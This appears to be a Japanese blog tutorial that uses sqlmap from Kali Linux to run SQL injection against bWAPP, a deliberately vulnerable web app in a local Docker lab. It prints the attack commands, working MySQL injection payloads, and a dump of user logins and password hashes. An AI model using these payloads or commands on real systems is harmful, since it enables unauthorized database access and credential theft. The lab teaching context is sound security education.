がじぇ

お金と家電とプログラミングのブログ

SQLインジェクションでパスワードを抜き出す、体験をする

おはようございます。

がじぇったー (@hackmylife7) | Twitter


です。


SQLインジェクションについて学んでいきます。

しっかり対策していないとデータベースから重要な情報の漏洩がおこったり、システムの管理者権限を引き抜かれ、乗っ取りなどの被害が発生します。

 

f:id:gadgeterkun:20190813115627j:plain


前回の記事でDockerを用い脆弱なWEBアプリケーションを構築しました。
今回はそのアプリにKai Linuxから攻撃を仕掛けていきたいと思います。

SQLインジェクションとは何か?

下記の通りですが、アプリケーションのセキュリティの不備をつく不正なSQL文を投げつけ、ユーザーのidやパスワードを抜き取る手法をいいます。

SQLインジェクション(英: SQL Injection)とは、アプリケーションのセキュリティ上の不備を意図的に利用し、アプリケーションが想定しないSQL文を実行させることにより、データベースシステムを不正に操作する攻撃方法のこと。 また、その攻撃を可能とする脆弱性のことである。

下記の画像がわかりやすいと思います。

f:id:gadgeterkun:20190811185106p:plain
What is SQL Injection? Tutorial & Examples より引用

下準備

攻撃される側の環境を用意します。

こちらの記事の通り、まずはWEBアプリケーションをDockerで起動させ、ユーザー bee、パスワード bugでログインします。

gadgeterkun.hatenablog.com


SQL Injection(GET/Search)を選択すると下記の画面になるはずです。

f:id:gadgeterkun:20190812001154p:plain


試しに以下のURLにコメントを含んだ不正なURLをプラウザで叩くと、SQLの構文エラーが画面上に出力されます。
http://localhost/sqli_1.php?title=1'&action=search'

このように不要なエラーコードを利用ユーザーに見せてしまうのは、
攻撃者にヒントを与えてしまいます。

f:id:gadgeterkun:20190812001736p:plain

Kai Linuxから攻撃する

それでは
kai linuxを立ち上げて検証しましょう。

構築方法は下記の通りです。
gadgeterkun.hatenablog.com



攻撃にはSQLMapを用います。


SQLMapのインストール

 
vagrant@kali:~$ sudo mkdir /opt/sqlmap
vagrant@kali:~$  sudo git clone https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap
Cloning into '/opt/sqlmap'...
remote: Enumerating objects: 71, done.
remote: Counting objects: 100% (71/71), done.
remote: Compressing objects: 100% (49/49), done.
remote: Total 71262 (delta 45), reused 41 (delta 22), pack-reused 71191
Receiving objects: 100% (71262/71262), 64.20 MiB | 14.82 MiB/s, done.
Resolving deltas: 100% (56328/56328), done.
vagrant@kali:~$

GETメソッドを使った攻撃

攻撃手法はGETメソッドを用いる方法とPOSTメソッドを用いる方法があります。

今回はGETメソッドで行います。

立ち上げている脆弱なWEBアプリケーションサーバに対して攻撃をしかけていきます。

VMを起動しているホスト(mac)側でifconfigのコマンドをうってIPアドレスを確認してください。
WEBアプリケーションはDockerで起動させているので、ホスト側のIPアドレスの番portで起動しているはずです。

以下の例だと192.168.11.22がホストのIPアドレスになります。

mymac$ ifconfig
en0: 	inet 192.168.11.22 netmask 0xffffff00 broadcast 192.168.11.255



それではkailinuxからMacでホストしてるWEBアプリケーションに対して攻撃していきます。

sqlmapをダウンロードしたディレクトリに移動

vagrant@kali:/opt/sqlmap$ cd /opt/sqlmap

攻撃コマンドは以下になります。
cookieでセッションIDを入れる必要があります。cookieの確認方法は以下参照。

Chromeのデベロッパーツールでクッキーを確認する方法 | エンジニアのキャリアサイト


攻撃コマンド(Kai Linuxから実行)

$ python sqlmap.py --url="http://192.168.11.22/sqli_1.php?title=sql" --cookie='PHPSESSID=7s1soc0ururekl7ih52averjc0; security_level=0


DatabaseがMySQLであることが判明します。Yを連続でおします。

[12:22:45] [INFO] testing connection to the target URL
[12:22:46] [WARNING] potential CAPTCHA protection mechanism detected
[12:22:46] [INFO] testing if the target URL content is stable
[12:22:46] [INFO] target URL content is stable
[12:22:46] [INFO] testing if GET parameter 'title' is dynamic
[12:22:46] [WARNING] GET parameter 'title' does not appear to be dynamic
[12:22:46] [INFO] heuristic (basic) test shows that GET parameter 'title' might be injectable (possible DBMS: 'MySQL')
[12:22:46] [INFO] heuristic (XSS) test shows that GET parameter 'title' might be vulnerable to cross-site scripting (XSS) attacks
[12:22:46] [INFO] testing for SQL injection on GET parameter 'title'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]


MySQLのバージョンやどのような脆弱性が含まれているかが出力されます。

---
Parameter: title (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: title=sql' OR NOT 9717=9717#

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: title=sql' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7178717171,(SELECT (ELT(8632=8632,1))),0x716a6a7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- rcDZ

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: title=sql' AND (SELECT 6975 FROM (SELECT(SLEEP(5)))nNxK)-- bFkx

    Type: UNION query
    Title: MySQL UNION query (NULL) - 7 columns
    Payload: title=sql' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7178717171,0x7a4d5246434d644a64724467786a644d6867507759616d6e6251596f4a4546746f6f705848686141,0x716a6a7071),NULL,NULL,NULL#
---
[12:24:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[12:24:10] [INFO] fetched
    • dbsオプションをつけて再び攻撃コマンドを実行します。そうするとDB名が表示されます
$ python sqlmap.py --url="http://192.168.11.22/sqli_1.php?title=sql" --cookie='PHPSESSID=7s1soc0ururekl7ih52averjc0; security_level=0' --dbs
[*] bWAPP
[*] information_schema
[*] mysql
[*] performance_schema

DB名がわかったので、"--table" オプションをつけてコマンドを実行します

そうするとtable名も出力されてしまいます。

vagrant@kali:/opt/sqlmap$ python sqlmap.py --url="http://192.168.11.22/sqli_1.php?title=sql" --cookie='PHPSESSID=7s1soc0ururekl7ih52averjc0; security_level=0' -D bWAPP --tables
Database: bWAPP
[5 tables]
+----------+
| blog     |
| heroes   |
| movies   |
| users    |
| visitors |
+----------+


users tableがあることがわかったので、カラムを出力させます

vagrant@kali:/opt/sqlmap$ python sqlmap.py --url="http://192.168.11.22/sqli_1.php?title=sql" --cookie='PHPSESSID=7s1soc0ururekl7ih52averjc0; security_level=0' -D bWAPP -T users --columns


Database: bWAPP
Table: users
[9 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| activated       | tinyint(1)   |
| activation_code | varchar(100) |
| admin           | tinyint(1)   |
| email           | varchar(100) |
| id              | int(10)      |
| login           | varchar(100) |
| password        | varchar(100) |
| reset_code      | varchar(100) |
| secret          | varchar(100) |
+-----------------+--------------+


loginとpasswordカラムがあることがわかったので、
続いて以下のコマンドを実行します。

vagrant@kali:/opt/sqlmap$ python sqlmap.py --url="http://192.168.11.22/sqli_1.php?title=sql" --cookie='PHPSESSID=7s1soc0ururekl7ih52averjc0; security_level=0' -D bWAPP -T users -C login,password --dump


最終的にクラックされたuserとパスワードが表示されてしまいました。

+--------+------------------------------------------------+
| login  | password                                       |
+--------+------------------------------------------------+
| A.I.M. | 6885858486f31043e5839c735d99457f045affd0 (bug) |
| bee    | 6885858486f31043e5839c735d99457f045affd0 (bug) |
+--------+------------------------------------------------+


面白い(怖い)ですね。
次回はどのようにこの攻撃を防ぐか、ということを書きたいと思います。